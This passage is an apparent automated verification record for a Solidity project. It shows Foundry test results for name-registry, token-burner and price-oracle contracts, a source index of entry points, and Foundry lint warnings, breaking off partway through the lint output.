test_NothingToBurnIsNotAnError() (gas: 372799)\n[PASS] test_OneWeiParks() (gas: 662549)\n[PASS] test_QuoteOfTheSmallestPrice() (gas: 548983)\n[PASS] test_ReceiveTakesEmptyCallsOnly() (gas: 66361)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 55.28ms (132.36ms CPU time)\n\nRan 18 tests for test/SwarmPricesEdges.t.sol:SwarmPricesEdgesTest\n[PASS] testFuzz_TheGuardrailsAreExactlyTheDocumentedRule(uint64,uint64,uint64,uint64) (runs: 512, μ: 302547, ~: 60802)\nLogs:\n  Bound result 3566421320940640\n  Bound result 700000000000000\n  Bound result 1200016433913367\n  Bound result 0\n\n[PASS] test_AFailureAfterAVerdictIsRefused() (gas: 2259217)\n[PASS] test_AVerdictExpiringThisSecondStillCounts() (gas: 2206242)\n[PASS] test_AnUnknownProposalIsNone() (gas: 16475)\n[PASS] test_ExactlyTwiceAndExactlyHalfAreAllowed() (gas: 6297315)\n[PASS] test_ExecutingNothingOrAPendingProposalIsRefused() (gas: 2173497)\n[PASS] test_OverpayingTheOracleIsTheProposersChoice() (gas: 2145207)\n[PASS] test_PricesAfterTwoChangesStayWithinTheRailsOfEach() (gas: 3664894)\n[PASS] test_ProposingNeedsTheProposersImd() (gas: 370191)\n[PASS] test_TheAnswerMustBeABoolTrueAboutThisChain() (gas: 6224419)\n[PASS] test_TheCallbackSelectorsAreTheProtocolsLayout() (gas: 2228539)\n[PASS] test_TheFirstChangeHasNoCooldown() (gas: 2245109)\n[PASS] test_TheLastSecondOfTheCooldown() (gas: 3748538)\n[PASS] test_TheLastSecondOfTheExecuteWindow() (gas: 2241673)\n[PASS] test_TheProtocolsOwnSignatureVerifies() (gas: 2358890)\n[PASS] test_TheProtocolsSignatureOnATamperedVectorIsRefused() (gas: 2399236)\n[PASS] test_TheVectorsSignerApprovesWithABoolAnswer() (gas: 2362081)\n[PASS] test_TwoProposalsOneVerdictEach() (gas: 3570584)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 55.20ms (29.76ms CPU time)\n\nRan 28 tests for test/IMDNames.t.sol:IMDNamesTest\n[PASS] test_ABrokenRendererFallsBackToTheCard() (gas: 10710728)\n[PASS] test_AFeeParksWhenNoPoolCanTakeIt() (gas: 8865984)\n[PASS] test_ANewOwnerPaysTheTollToLink() (gas: 1019453)\n[PASS] test_ARoyaltyPaymentIsBurned() (gas: 534546)\n[PASS] test_AnyoneRegistersAnyFreeName() (gas: 611321)\n[PASS] test_BadNames() (gas: 75963)\n[PASS] test_LinkRules() (gas: 227615)\n[PASS] test_LinkTheNameToAnIdentity() (gas: 188843)\n[PASS] test_NoImdPaymentWithoutBothPools() (gas: 233452)\n[PASS] test_OneNamePerIdentityOneIdentityPerName() (gas: 926784)\n[PASS] test_Prices() (gas: 63586)\n[PASS] test_Primary() (gas: 249650)\n[PASS] test_RegisterForSomeoneElse() (gas: 602296)\n[PASS] test_RegisterWithImd() (gas: 955021)\n[PASS] test_RegisterWithImdRespectsMaxImd() (gas: 784770)\n[PASS] test_RegisteringMintsTheNameAndBurnsTheFee() (gas: 647107)\n[PASS] test_RegistrationRules() (gas: 227789)\n[PASS] test_RoyaltiesGoToTheBurner() (gas: 40917)\n[PASS] test_SellingTheIdentityTakesItDown() (gas: 170604)\n[PASS] test_SellingTheNameTakesItDown() (gas: 207919)\n[PASS] test_ShortNamesHaveShortNameTolls() (gas: 650311)\n[PASS] test_TextRecordsStartOverWithANewHolder() (gas: 217164)\n[PASS] test_TheArtistChangesTheArtAndOnlyTheArt() (gas: 409849)\n[PASS] test_TheBuiltInCard() (gas: 3442034)\n[PASS] test_TheNamesNewOwnerUnlinksAStaleLink() (gas: 235869)\n[PASS] test_TheTollFollowsEveryChangeOfHands() (gas: 214656)\n[PASS] test_TheTollInImd() (gas: 1089230)\n[PASS] test_Unlink() (gas: 207574)\nSuite result: ok. 28 passed; 0 failed; 0 skipped; finished in 56.18ms (48.87ms CPU time)\n\nRan 4 tests for test/Launch.t.sol:LaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 190674)\n[PASS] test_FitsOneTransaction() (gas: 23185)\nLogs:\n  launch gas, four creations: 7030\n\n[PASS] test_PassesTheAdmissionScan() (gas: 17012486)\n[PASS] test_UnderTheCodeSizeLimit() (gas: 9813)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 257.38ms (29.91ms CPU time)\n\nRan 11 tests for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP] test_ACrewBuysAndBurnsRealIMD() (gas: 0)\n[SKIP] test_ANameBuysRealIMDOnPool4AndBurnsIt() (gas: 0)\n[SKIP] test_ANameChangesHandsAndBurns() (gas: 0)\n[SKIP] test_ANamePaidInRealImd() (gas: 0)\n[SKIP] test_APriceProposalThroughIMDsRealIntake() (gas: 0)\n[SKIP] test_AnAgentRunsTheTreasurysIdentity() (gas: 0)\n[SKIP] test_AnIdentityWearsAWorkerFren() (gas: 0)\n[SKIP] test_RealProofsRefuseTampering() (gas: 0)\n[SKIP] test_TheHooklessPoolTakesWhatPool4Cant() (gas: 0)\n[SKIP] test_TheRealJeetBoard() (gas: 0)\n[SKIP] test_TheTreasurysCard() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 11 skipped; finished in 257.33ms (745.44µs CPU time)\n\nRan 14 tests for test/LARPItems.t.sol:LARPItemsTest\n[PASS] test_AFaceBecomesAnItem() (gas: 321185)\n[PASS] test_AnItemBecomesAnotherIdentitysFace() (gas: 306295)\n[PASS] test_EquipAnERC1155Copy() (gas: 195226)\n[PASS] test_EquipAnERC721() (gas: 228623)\n[PASS] test_OneCopyOnePlacement() (gas: 372050)\n[PASS] test_ReequippingTheSameCopyInTheSameSlot() (gas: 213412)\n[PASS] test_RefusedItems() (gas: 220243)\n[PASS] test_ReplacingAnItemFreesTheOldOne() (gas: 291522)\n[PASS] test_SellingACopyDarkensItsPlacementsUntilOneComesOff() (gas: 456264)\n[PASS] test_SellingTheIdentityDarkensItsItems() (gas: 360711)\n[PASS] test_SlotsAreOneToEight() (gas: 224747)\n[PASS] test_StrangersCantTakeItemsOff() (gas: 174966)\n[PASS] test_TheNewOwnerClearsTheOldItems() (gas: 343634)\n[PASS] test_ThePlacerTakesItsCopyBackAfterSellingTheIdentity() (gas: 399525)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 257.44ms (3.05ms CPU time)\n\nRan 21 tests for test/LARPBurner.t.sol:LARPBurnerTest\n[PASS] test_AGenuineFailureIsNotMistakenForTooLittleGas() (gas: 836084)\n[PASS] test_ASwapOutOfGasReverts() (gas: 3106383)\n[PASS] test_AnEmptyPairPoolMeansItAllBurnsAsIMD() (gas: 814044)\n[PASS] test_AnIMD6900LegOutOfGasDeepDownReverts() (gas: 4734374)\n[PASS] test_AnIMD6900ThatWontBurnMeansItAllBurnsAsIMD() (gas: 776403)\n[PASS] test_AtMostMaxBurnPerCall() (gas: 2218838)\n[PASS] test_BurnImdBurnsWhatArrivesInIMD() (gas: 513373)\n[PASS] test_BuysOnPool4First() (gas: 1060290)\n[PASS] test_MinImd() (gas: 949204)\n[PASS] test_NoGasLimitSkipsAHeavyIMD6900Leg() (gas: 142291852)\n[PASS] test_NoGasLimitSkipsARoute() (gas: 15650200)\n[PASS] test_NoQuoteWithoutBothPools() (gas: 297225)\n[PASS] test_NoReentry() (gas: 462147)\n[PASS] test_OnlyThePoolManagerCallsBack() (gas: 32779)\n[PASS] test_ParkedWhenNoPoolCanAndBurnedLater() (gas: 1342476)\n[PASS] test_QuoteIsTheHigherOfTheTwoPools() (gas: 1116548)\n[PASS] test_RoyaltiesArriveByPlainTransfer() (gas: 44003)\n[PASS] test_ShareBuysIMD6900AndBurnsIt() (gas: 838562)\n[PASS] test_SpacingAboveV4sLargestReverts() (gas: 11267)\n[PASS] test_SpacingsAreTakenUnsignedAndKeptAsInt24() (gas: 28019)\n[PASS] test_TheHooklessPoolIfPool4CantTakeIt() (gas: 1172278)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 257.50ms (316.09ms CPU time)\n\nRan 23 tests for test/IMDNamesEdges.t.sol:IMDNamesEdgesTest\n[PASS] test_APrimaryWithoutANameIsLiveAndNameless() (gas: 182148)\n[PASS] test_ARendererThatAnswersNothingFallsBack() (gas: 383517)\n[PASS] test_ASaleDarkensTheLinkAndTheTextStays() (gas: 286425)\n[PASS] test_AStrangerCannotUnlink() (gas: 160664)\n[PASS] test_AnAgentLinksUnlinksAndWrites() (gas: 485900)\n[PASS] test_ApprovalsAndOperatorTransfers() (gas: 451956)\n[PASS] test_Constants() (gas: 190678)\n[PASS] test_ConstructorRefusesZeroAddresses() (gas: 15761)\n[PASS] test_LockingIsIdempotentAndKeepsTheRenderer() (gas: 291839)\n[PASS] test_PrimaryAndTextRefusals() (gas: 147569)\n[PASS] test_ReadingNames() (gas: 64641)\n[PASS] test_RegisterRefusesLessThanThePrice() (gas: 216769)\n[PASS] test_RegisterWithAFloorTheBurnCannotMeet() (gas: 217364)\n[PASS] test_RegisterWithImdNeedsAnAllowance() (gas: 622045)\n[PASS] test_ResolveNameSpellings() (gas: 149381)\n[PASS] test_RoyaltyRounding() (gas: 34991)\n[PASS] test_SafeTransfersCheckTheReceiver() (gas: 603221)\n[PASS] test_TheArtistRenouncesAndTheArtIsFinal() (gas: 153994)\n[PASS] test_TheCardOfAnUnlinkedName() (gas: 2382294)\n[PASS] test_TheLongestAndShortestNames() (gas: 1223541)\n[PASS] test_TheTollInImdRespectsMaxImd() (gas: 1131516)\n[PASS] test_TransferRules() (gas: 144615)\n[PASS] test_UnlinkingNothingDoesNothing() (gas: 37777)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 257.57ms (12.30ms CPU time)\n\nRan 1 test for test/SwarmPrices.invariant.t.sol:SwarmPricesInvariantTest\n[PASS]\nSwarmPricesInvariantTest invariants:\n[PASS] invariant_CountersMatchWhatHappened\n[PASS] invariant_NamesHoldsNothing\n[PASS] invariant_NoProposalReopens\n[PASS] invariant_PricesChangeOnlyByExecution\n[PASS] invariant_PricesWithinTheGuardrails\n SwarmPricesInvariantTest invariants (runs: 64, calls: 3072, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| SwarmHandler | execute  | 440   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | fail     | 426   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | forge    | 465   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | pass     | 443   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | propose  | 426   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | stranger | 447   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| SwarmHandler | verdict  | 425   | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 19681139035114494\n  Bound result 4506666667444268\n  Bound result 1840000000002045\n  Bound result 700000000000000\n  Bound result 450000000000000002\n  Bound result 404149\n  Bound result 18400000000014318\n  Bound result 4506670030193033\n  Bound result 1840000000015800\n  Bound result 580860646822898\n  Bound result 599999999999980003\n  Bound result 538011\n  Bound result 776230\n  Bound result 11993604838518211\n  Bound result 4506666666666953\n  Bound result 1609999999999999\n  Bound result 1919999997826088\n  Bound result 400000000000000486\n  Bound result 4865\n  Bound result 9989\n  Bound result 551644\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 431.92ms (426.51ms CPU time)\n\nRan 1 test for test/LARPBurner.invariant.t.sol:LARPBurnerInvariantTest\n[PASS]\nLARPBurnerInvariantTest invariants:\n[PASS] invariant_DeadHoldsOnlyImd\n[PASS] invariant_EthLeavesOnlyAsASwap\n[PASS] invariant_Imd6900OnlyBurns\n[PASS] invariant_ImdGoesOnlyToDeadOrTheIMD6900Buy\n[PASS] invariant_NoImdOutlivesABurn\n LARPBurnerInvariantTest invariants (runs: 64, calls: 3072, reverts: 0)\n\n╭---------------+-----------+-------+---------+----------╮\n| Contract      | Selector  | Calls | Reverts | Discards |\n+========================================================+\n| BurnerHandler | burn      | 642   | 0       | 0        |\n|---------------+-----------+-------+---------+----------|\n| BurnerHandler | burnImd   | 589   | 0       | 0        |\n|---------------+-----------+-------+---------+----------|\n| BurnerHandler | donateEth | 594   | 0       | 0        |\n|---------------+-----------+-------+---------+----------|\n| BurnerHandler | donateImd | 622   | 0       | 0        |\n|---------------+-----------+-------+---------+----------|\n| BurnerHandler | trade     | 625   | 0       | 0        |\n╰---------------+-----------+-------+---------+----------╯\n\nLogs:\n  Bound result 2990000000003331626\n  Bound result 4386\n  Bound result 1352\n  Bound result 256975804314765645\n  Bound result 9000\n  Bound result 395406756084624894\n  Bound result 4684\n  Bound result 1308\n  Bound result 1000000000000\n  Bound result 131073\n  Bound result 1027753764658890101\n  Bound result 27\n  Bound result 2990000000000004964\n  Bound result 5999000000000000000007\n  Bound result 48879\n  Bound result 100000000000000001\n  Bound result 12119\n  Bound result 20000000000000000\n  Bound result 806\n  Bound result 9879\n  Bound result 5557\n  Bound result 4547141\n  Bound result 100000000000000\n  Bound result 738\n  Bound result 865999911071580200252\n  Bound result 200000\n  Bound result 3937\n  Bound result 1800000000\n  Bound result 10558688\n  Bound result 86400\n  Bound result 2860792607346843804\n  Bound result 8101\n  Bound result 828417\n  Bound result 11955312\n  Bound result 1600000000000000\n  Bound result 21\n  Bound result 0\n  Bound result 8\n  Bound result 1200000000000000\n  Bound result 299999999999999998\n  Bound result 7615680238707368857\n  Bound result 2679999999999999332\n  Bound result 828417\n  Bound result 6160\n  Bound result 100\n  Bound result 1818457234\n  Bound result 350000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 895.94ms (893.00ms CPU time)\n\nRan 1 test for test/LARP.invariant.t.sol:LARPInvariantTest\n[PASS]\nLARPInvariantTest invariants:\n[PASS] invariant_LiveMeansThePlacerHoldsIt\n[PASS] invariant_NoMoreLiveCopiesThanHeld\n[PASS] invariant_OneTokenOneSpot\n LARPInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭-------------+--------------+-------+---------+----------╮\n| Contract    | Selector     | Calls | Reverts | Discards |\n+=========================================================+\n| LarpHandler | equip1155    | 1172  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | equip721     | 1203  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveCopy     | 1164  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveIdentity | 1151  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | giveMask     | 1165  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | setFace      | 1177  | 0       | 0        |\n|-------------+--------------+-------+---------+----------|\n| LarpHandler | takeOff      | 1160  | 0       | 0        |\n╰-------------+--------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.78s (26.78s CPU time)\n\nRan 17 test suites in 26.79s (29.77s CPU time): 240 tests passed, 0 failed, 11 skipped (251 total tests)\n","passed":true},{"durationMs":87,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMDNames.approve(address,uint256)\",\"IMDNames.execute(bytes32)\",\"IMDNames.link(uint256,uint256,uint256)\",\"IMDNames.linkWithImd(uint256,uint256,uint256)\",\"IMDNames.lockRenderer()\",\"IMDNames.onNoVerdict(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"IMDNames.onVerdict(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"IMDNames.propose((uint64,uint64,uint64,uint64),uint256)\",\"IMDNames.register(bytes32,address,uint256)\",\"IMDNames.registerWithImd(bytes32,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256)\",\"IMDNames.safeTransferFrom(address,address,uint256,bytes)\",\"IMDNames.setApprovalForAll(address,bool)\",\"IMDNames.setArtist(address)\",\"IMDNames.setPrimary(uint256)\",\"IMDNames.setRenderer(address)\",\"IMDNames.setText(uint256,string,string)\",\"IMDNames.transferFrom(address,address,uint256)\",\"IMDNames.unlink(uint256)\",\"LARP.clearFace(uint256)\",\"LARP.equip(uint256,uint256,address,uint256,uint8)\",\"LARP.resignAgent(uint256)\",\"LARP.setAgent(uint256,address)\",\"LARP.setAgentBySig(uint256,address,uint256,bytes)\",\"LARP.setFace(uint256,address,uint256)\",\"LARP.unequip(uint256,uint256)\",\"LARPBurner.burn(uint256)\",\"LARPBurner.burnImd()\",\"LARPBurner.receive()\",\"LARPBurner.unlockCallback(bytes)\",\"LARPLinks.disband(uint256)\",\"LARPLinks.foundCrew(uint256,bytes32,bool,uint256)\",\"LARPLinks.foundCrewWithImd(uint256,bytes32,bool,uint256)\",\"LARPLinks.fren(uint256,uint256)\",\"LARPLinks.invite(uint256,uint256,bool)\",\"LARPLinks.join(uint256,uint256)\",\"LARPLinks.kick(uint256,uint256)\",\"LARPLinks.leave(uint256)\",\"LARPLinks.passCaptain(uint256,uint256)\",\"LARPLinks.proveAlloc(uint64,uint256,address,uint256,bytes32[])\",\"LARPLinks.setOpen(uint256,bool)\",\"LARPLinks.unfren(uint256,uint256)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":68,\"AUDIT.md\":144,\"README.md\":179,\"foundry.toml\":30,\"src/IIMDNames.sol\":112,\"src/ILARP.sol\":120,\"src/IMDNames.sol\":358,\"src/LARP.sol\":330,\"src/LARPBurner.sol\":271,\"src/LARPLinks.sol\":457,\"src/Labels.sol\":53,\"src/SafeReads.sol\":63,\"src/SwarmPrices.sol\":331,\"test/Base.sol\":292,\"test/IMDNames.t.sol\":481,\"test/IMDNamesEdges.t.sol\":457,\"test/LARP.invariant.t.sol\":184,\"test/LARP.t.sol\":324,\"test/LARPAgents.t.sol\":269,\"test/LARPBurner.invariant.t.sol\":351,\"test/LARPBurner.t.sol\":345,\"test/LARPBurnerEdges.t.sol\":212,\"test/LARPEdges.t.sol\":340,\"test/LARPItems.t.sol\":236,\"test/LARPLinks.t.sol\":515,\"test/LARPLinksEdges.t.sol\":459,\"test/Launch.t.sol\":134,\"test/MainnetFork.t.sol\":344,\"test/Mocks.sol\":89,\"test/SwarmPrices.invariant.t.sol\":357,\"test/SwarmPrices.t.sol\":340,\"test/SwarmPricesEdges.t.sol\":344,\"test/fixtures/allocs.json\":118},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"038edf4e21fb43bab28ea78153c329c159bcecd22847a9163992b0b9e77ee429","verifiedTreeHash":"5b1372ccc41ebd2563b79d2ac57742b834ce3c6f","verifierVersion":"0.1.0+fb8278c5"},{"checks":[{"durationMs":146097,"exitCode":0,"name":"build","output":"Compiling 92 files with Solc 0.8.26\nSolc 0.8.26 finished in 145.75s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:285:25\n    │\n285 │                 return (true, r);\n    │                         ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:288:25\n    │\n288 │                 return (false, \"\");\n    │                         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SafeReads.sol:21:46\n   │\n21 │         return ok && w >> 160 == 0 ? address(uint160(w)) : address(0);\n   │                                              ━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'uint160' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/Labels.sol:23:16\n   │\n23 │         while (n < 32 && label[n] != 0) ++n;\n   │                ━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/SwarmPrices.sol:83:38\n   │\n83 │     bytes32 public constant ACTION = bytes32(\"oracle.request@oracle-1\");\n   │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'bytes32' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:294:21\n    │\n294 │             return (true, r);\n    │                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:131:17\n    │\n131 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                 ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/SwarmPrices.sol:131:33\n    │\n131 │     constructor(address intake, address oracleSigner, Prices memory start) {\n    │                                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n   ╭▸ src/SafeReads.sol:47:40\n   │\n47 │         (bool ok, bytes memory data) = target.staticcall{gas: gasCap}(call);\n   │                                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARPBurner.sol:296:21\n    │\n296 │             return (false, \"\");\n    │                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:111:33\n    │\n111 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:120:64\n    │\n120 │         if (holder == address(0) || who == address(0)) return (false, holder);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:121:36\n    │\n121 │         if (who == holder) return (true, holder);\n    │                                    ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/LARP.sol:265:36\n    │\n265 │         if (at == 0) return (0, 0, false);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:120:9\n    │\n120 │         address pairHook\n    │         ━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/LARPBurner.sol:114:9\n    │\n114 │         address pool4Hook,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:142:16\n    │\n142 │         return int24(s);\n    │                ━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int24' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/LARPLinks.sol:208:9\n    │\n208 │         LARPBurner(payable(BURNER)).burn{value: msg.value}(minImd);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n   ╭▸ src/LARP.sol:78:13\n   │\n78 │         if (block.timestamp > deadline) revert Expired();\n   │             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SwarmPrices.sol:169:9\n    │\n169 │         emit Proposed(requestId, number, msg.sender, next);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARP.sol:138:9\n    │\n138 │         emit AgentSet(imdId, holder, agent);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:284:17\n    │\n284 │             try POOL_MANAGER.unlock(data) returns (bytes memory r) {\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/LARPBurner.sol:293:13\n    │\n293 │         try POOL_MANAGER.unlock{gas: LEG_GAS}(data) returns (bytes memory r) {\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:193:21\n    │\n193 │                     emit Bought(eth, imd, route);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:197:27\n    │\n197 │             if (imd == 0) emit Parked(eth);\n    │                           ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/LARPBurner.sol:267:9\n    │\n267 │         emit Burned(rest, share, burned6900);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:287:49\n    │\n287 │                 if (gasleft() <= gasBefore / 4) revert TooLittleGas();\n    │                                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/LARPBurner.sol:292:61\n    │\n292 │         if (gasleft() < LEG_GAS + LEG_GAS / 63 + AFTER_GAS) revert TooLittleGas();\n    │                                                             ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/LARPBurner.sol:179:43\n    │\n179 │             uint256 spent = _burnBlock == uint64(block.number) ? _burnedInBlock : 0;\n    │                                           ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint64' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:220:33\n    │\n220 │         if (at == 0) return (0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:42\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:228:64\n    │\n228 │         if (owner == address(0)) return (false, address(0), 0, false);\n    │                                                                ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:33\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                 ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/IMDNames.sol:240:55\n    │\n240 │         if (label == 0) return (false, address(0), 0, false);\n    │                                